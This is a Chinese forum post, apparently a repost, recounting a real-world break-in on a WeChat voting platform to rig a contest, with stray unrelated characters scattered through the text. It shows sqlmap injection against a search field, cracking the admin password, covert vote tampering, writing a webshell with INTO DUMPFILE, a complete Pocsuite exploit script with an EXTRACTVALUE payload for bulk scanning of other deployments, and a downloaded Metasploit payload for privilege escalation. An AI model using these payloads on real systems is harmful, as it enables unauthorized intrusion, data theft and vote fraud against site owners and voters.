來源;http://bbs.ichunqiu.com/thread-10123-1-1.html?from=ch
0x01 前言
本來之前寫了很多前言了凸丸,可是昨天早晨發(fā)生了一件事,我打算重新寫前言,小伙伴們谷暮,小板凳準備好,我的前言是這樣的:滿屏都是王寶強盛垦,真誠提醒忘掉他們昨日的誓言湿弦。李晨說會一直保護張馨予,謝霆鋒說不介意張柏芝的過去腾夯,文章說這輩子最驕傲的是馬伊琍……人有時真的是很善變的動物颊埃,真正永恒不變的只有
你挖或不挖,漏洞就在那里
全心全意為你陪伴著你
很多盆友說不會再愛了蝶俱,但我想說班利,女神還是得追的,萬一她瞎呢榨呆。所以罗标,書接上回,和女神聊天聊起來給基友孩子刷票的事积蜻,她一下就來勁了闯割,說正好她也在參加一個投票活動,能不能幫她刷票啊竿拆,如果得第一宙拉,有特殊獎勵哦,特殊獎勵(做癡迷狀)……
0x02 滲透測試
0x021 信息收集
投過手機瀏覽投票頁面丙笋,發(fā)現(xiàn)是第三方程序谢澈,而非微信官方投票系統(tǒng),那就能繼續(xù)向前走御板,
并且都沒微信端驗證锥忿,在電腦上可以直接打開,隱隱覺得有戲稳吮。
手機抓包投票數(shù)據(jù)缎谷,根據(jù)上次刷票的經驗,有可能下圖中標識的兩個id為驗證項灶似,也就是說,要想達到刷票目的瑞你,需要大量openid酪惭,后續(xù)事實證明如此,但我們今天刷票更精彩者甲,各位客官春感,且聽我慢慢道來。
將url除域名意外的部分刪掉看看主頁是個什么樣子,當我看到登錄界面時鲫懒,我心中的猛虎已開始細嗅薔薇嫩实。
0x022 SQL注入
平時我已經習慣了瀏覽網頁時開著被動注入檢測工具(點這里url),可這次卻沒用到窥岩,因為工具是有延時的甲献,沒有手工來得快。說來你們可能不信颂翼,看到第一張圖我標示的那個搜索框了嗎晃洒?當我輸入一個單引號時,竟然報錯了朦乏,這也許就是滲透經驗吧球及。
果斷用burp抓取搜索包,給sqlmap檢測
[AppleScript]純文本查看復制代碼
1
Python sqlmap.py –r post.txt –dbs
經過漫長的等待呻疹,檢測結果出來了吃引,有兩個參數(shù)存在注入,分別為id和token
經過漫長的分析(分析表結構刽锤,n多表际歼,此處省略1萬字,滲透是體力活肮美丁)鹅心,終于拿到了管理員的用戶名和密碼散列還有QQ。
花了1毛錢最終破解了密碼纺荧,為了女神旭愧,值!
0x023進后臺加票
用破解的用戶名密碼成功登陸后臺宙暇,此時我內心的猛虎已開始咆哮输枯。
那還等什么,看看怎么加票吧占贫!點“選手設置”桃熄,看到了女神,排名還比較靠后型奥。點“投票選項管理”瞳收,加減票選項出現(xiàn)了,是的厢汹,既可以加票也可以檢票
有的同學可能會問了螟深,那這投票豈不是管理員說了算?想讓誰第一就讓誰第一烫葬?沒錯界弧,管理員具有“上帝模式”(為什么加引號凡蜻?因為我才是真正的上帝!)垢箕,不僅如此划栓,還有更扯淡的,那就是主頁上的瀏覽量条获、投票量和報名數(shù)都可以在后臺設置忠荞。我好像知道的有點多了。
為了不讓管理員發(fā)覺月匣,我分數(shù)次將女神頂?shù)搅饲斑呑耆鳎霈F(xiàn)了新問題,這套系統(tǒng)的目的就是微信圈粉锄开,如果關注公眾號投票后又取消素标,那么所投票數(shù)是會被自動減掉的,并且后臺會記錄所有投票的記錄數(shù)萍悴。
也就是說头遭,如果不在后臺加票,那么總記錄數(shù)=總票數(shù)+減去的票數(shù)癣诱,但如果我在后臺直接加票计维,會使得總記錄數(shù)<總票數(shù),管理員就有理由認為有人進后臺加票了撕予。那怎么辦鲫惶?
理了一下思路發(fā)現(xiàn)有兩條路可走,
第一條路实抡,利用刷票的方法滿足以上等式條件欠母,可刷票需要大量openid,哪里去弄那么多openid吆寨?再像上次那樣XSS打赏淌?還不一定有XSS,即使有啄清,時間成本太高六水,也刷不了幾票,但是(重讀)辣卒,系統(tǒng)竟然很貼心的為我們準備好了所有投過票用戶的openid掷贾,還支持導出excle,
但通過實踐添寺,可以成功刷票并且滿足以上條件(具體過程限于篇幅不表胯盯,可參考上篇文章url),可是又有了新的問題计露,就是你把別人的openid用了,人家再投票回提示已投票,不能再投了票罐,相當于我把所有選手的支持者都拉到了我女神的石榴裙下叉趣,那人家能樂意嗎?萬一有好事者聯(lián)系管理員该押,那九前功盡棄了疗杉,動靜太大了,正所謂“善攻者蚕礼,飛于九天之上烟具;善守者,遁于九地之下奠蹬〕”,此時我們就應該“遁于九地之下”囤躁,來看第二條路……
第二條路冀痕,就是取得webshell或者數(shù)據(jù)庫權限,直接修改數(shù)據(jù)庫中的記錄數(shù)狸演,使得后臺加票后也滿足以上等式言蛇。怎么?有些不耐心了宵距?想直接加票就走人腊尚?不,我們要的是Perfect.
0x024 Get Webshell
我們來總結下满哪,看看我們手里有多少料婿斥,你妹的,貌似我們除了一個后臺翩瓜,一個注入點受扳,什么都沒有。后臺經過漫長的檢測(累巴玫勘高!頭懸梁,錐刺股坟桅,大喊三聲“女神”华望,接著干),并沒有上傳漏洞仅乓,并沒有命令執(zhí)行赖舟,并沒有CSRF,并沒有……總之后臺沒能getshell夸楣。此時我心中的猛虎酣睡了”鲎ィ現(xiàn)在只有注入點了子漩,看看是什么權限吧,還算有點欣慰石洗,是root幢泼。(這一天天,大起大落讲衫,小心臟都受不了)
那快用sqlmap寫個webshell試試吧缕棵,寫shell需要絕對路徑,哪里找涉兽?剛開始的單引號報錯就爆出了絕對路徑招驴,從后臺照片處找到了照片上傳路徑,這樣就構造出了有寫權限的絕對路徑枷畏。
竟然失敗了别厘。
說實話,當時我都快哭了矿辽,可是一想到女神丹允,再一次目光堅定的望向了遠方……那我看看能不能查出數(shù)據(jù)庫用戶名密碼,然后幸運的話可以外聯(lián)一下袋倔,事實證明雕蔽,我特么想多了,又失敗了宾娜。
既然工具不行批狐,那就手工寫shell把,還好前塔,那我們直接經典的selectinto outfile導出webshell不就行了嚣艇,用sqlmap的sql-shell試了下,總提示條件不滿足华弓。
還好注入點支持union聯(lián)合查詢食零,直接執(zhí)行
[AppleScript]純文本查看復制代碼
1
Select,2,3,4intooutfile d:\\www\\uploads\\c.php
還是失敗了(絕對路徑用雙斜杠是因為在執(zhí)行時會將一個\轉義為空)。好像是超過了長度寂屏,這個時候看到了這篇帖子點我贰谣,我可以把一句話拆分再hex啊
還是失敗了,查了下原因迁霎。
mysql dumpfile與outfile函數(shù)的區(qū)別 SELECT into outfile :導出到一個txt文件吱抚,可以導出每行記錄的,這個很適合導庫 SELECT into dump:只能導出一行數(shù)據(jù)如果想把一個可執(zhí)行二進制文件用into outfile函數(shù)導出考廉,導出后秘豹,文件會被破壞因為into outfile函數(shù)會在行末端寫新行,更致使的是會轉義換行符昌粤,這樣2進制可執(zhí)行文件就會被破壞這時既绕,我們能用into dumpfile導出一個完整能執(zhí)行的2進制文件啄刹,它不對任何列或行進行終止,也不執(zhí)行任何轉義處理總結: into outfile:導出內容 into dumpfile:導出二進制文件
把outfile換成dumpfile岸更,終于成功getshell鸵膏,真是黃天不負有心人啊膊升。
后來提權后測試發(fā)現(xiàn)怎炊,intooutfile會把一句話導出為這樣
看到沒有,中間多了空格廓译。
終于可以放心大膽的給女神加票了评肆,最終在我的幫助之下,女神取得了第一非区,特殊獎勵就是一個大大的擁抱瓜挽,88塊的紅包和她崇拜的眼神,我是說真的J
0x025 編寫poc批量驗證
刷票任務完成了征绸,但是我們學習的腳步不能停久橙,我發(fā)現(xiàn)這套投票系統(tǒng)比較通用,通過pentest(url)的谷歌工具發(fā)現(xiàn)網上有大量部署管怠,何不寫個poc批量驗證呢淆衷,我習慣了用pocsuit寫poc,大家可以選擇其他框架渤弛。這里我直接給出代碼
[Python]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97#!/usr/bin/env python
# coding: utf-8
importre
importurlparse
importurllib
importurllib2
frompocsuite.netimportreq
frompocsuite.pocimportPOCBase, Output
frompocsuite.utilsimportregister
classTestPOC(POCBase):
vulID='62274'# ssvid
version='1'
author=['野驢']
vulDate='2016-08-05'
createDate='2016-08-05'
updateDate='2016-08-05'
references=['']
name='weilianyun_toupiao_sql_inj_PoC'
appPowerLink='http://www..cn'
appName=''
appVersion='2016'
vulType='SQL Injection'
desc='''
投票管理系統(tǒng)祝拯,sql注入,報錯她肯,聯(lián)合查詢佳头,時間盲注
'''
samples=['http://www..cn/']
def_attack(self):
result={}
#漏洞頁面
exploit='/***&token=Eioa5C5oj3S32qhH&id='
#利用的payload
payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,0x7170717071,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,21)),0x716a626a71))'
#構造訪問地址
vulurl=self.url+exploit+payload
#提取信息的正則表達式
parttern='.*qpqpq(.*)qjbjq.*'
#自定義的HTTP頭
httphead={
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded'
}
#訪問
resp=req.get(url=vulurl,headers=httphead,timeout=50)
#判斷特征字符串
if'XPATH syntax error'inresp.content:
#提取信息
match=re.findall(parttern,resp.content,re.I|re.M)
ifmatch:
result['DbInfo']={}
#記錄數(shù)據(jù)庫用戶名
result['DbInfo']['UserName']=match[0]
returnself.parse_attack(result)
def_verify(self):
#利用漏洞計算md5(3.1415)
result={}
#漏洞頁面
exploit='/***&token=Eioa5C5oj3S32qhH&id='
#利用的payload
payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,MD5(3.1415)))'
#payload='1 AND? extractvalue(1, concat(0x5c,md5(3.1415)))'
#md5(3.1415)的值
md5value='63e1f04640e83605c1d177544a5a0488'
#構造訪問地址
vulurl=self.url+exploit+payload
#自定義的HTTP頭
httphead={
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded'
}
#訪問
resp=req.get(url=vulurl,headers=httphead,timeout=50)
#判斷特征字符串(由于extractvalue有長度限制,這里只比較前30位)
ifmd5value[:30]inresp.content:
#漏洞驗證成功
result['VerifyInfo']={}
result['VerifyInfo']['URL']=self.url+exploit
result['VerifyInfo']['Payload']=payload
returnself.parse_attack(result)
defparse_attack(self, result):
output=Output(self)
ifresult:
output.success(result)
else:
output.fail('Internet nothing returned')
returnoutput
register(TestPOC)
這里我說下attack模式下晴氨,正則獲取數(shù)據(jù)庫用戶的方法康嘉,通過測試發(fā)現(xiàn)投送payload(sqlmap –v 3獲得)后,數(shù)據(jù)庫用戶是包含在兩個特殊字符串中間的
所以我們的正則可以這么寫
[AppleScript]純文本查看復制代碼
1
.*qpqpq(.*)qjbjq.*
來執(zhí)行下
導入剛才pentest爬取的域名文件
[AppleScript]純文本查看復制代碼
1
2
3Pcs>config
Pcs.config>urlFileurl.txt
pcs>attack
0x026 提權
提權就比較簡單了籽前,先msfVENOM生成payload
webshell直接下載公網metasploit的payload亭珍,執(zhí)行后,獲得meterpreter交互
0x03 結束語
實在寫不動了聚假,但是我想說块蚌,滲透雖然是個體力加腦力活,但因為我喜歡膘格,所以痛并快樂著峭范。回顧下我們滲透的過程
信息收集->注入管理員信息->進后臺->getwebshell->合法加票->poc批量驗證->提權
明天又會有什么趣聞發(fā)生呢瘪贱?管他呢纱控,我退出娛樂圈很久了辆毡。
首發(fā)i春秋
野驢原創(chuàng),值得擁有甜害!
聲明:以上文章僅作學習交流之用舶掖,如讀者因閱讀本文而做出不恰當舉動,純屬個人行為尔店,與本文作者無關眨攘。